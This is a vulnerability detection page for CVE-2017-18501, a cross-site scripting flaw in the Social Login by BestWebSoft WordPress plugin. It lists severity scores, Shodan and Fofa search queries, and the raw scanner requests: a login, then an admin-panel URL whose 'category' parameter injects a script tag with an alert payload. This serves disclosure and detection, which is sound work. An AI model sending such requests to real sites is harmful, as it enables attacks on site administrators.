🔙 목록으로 돌아가기

CVE-2017-18501: Social Login by BestWebSoft < 0.2 - Cross-Site Scripting

TitleSocial Login by BestWebSoft < 0.2 - Cross-Site Scripting
Authorluisfelipe146
SeverityMedium
ImpactAuthenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
RemediationUpdate to version 0.2 or later.
CVSS Score6.1
EPSS Score0.00385
CVE IDCVE-2017-18501
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/social-login-bws/
Fofa Querybody=/wp-content/plugins/social-login-bws/
Tags cve2017 cve wordpress wpscan bws-social-login wp-plugin xss authenticated bestwebsoft vuln

🔍 Vulnerability Description

The social-login-bws plugin before 0.2 for WordPress has multiple XSS issues.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=TLFVxc&pwd=biGFuu&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.16 (KHTML, like Gecko) Version/8.0 Safari/537.16
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/social-login-bws/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18501.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-18501.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A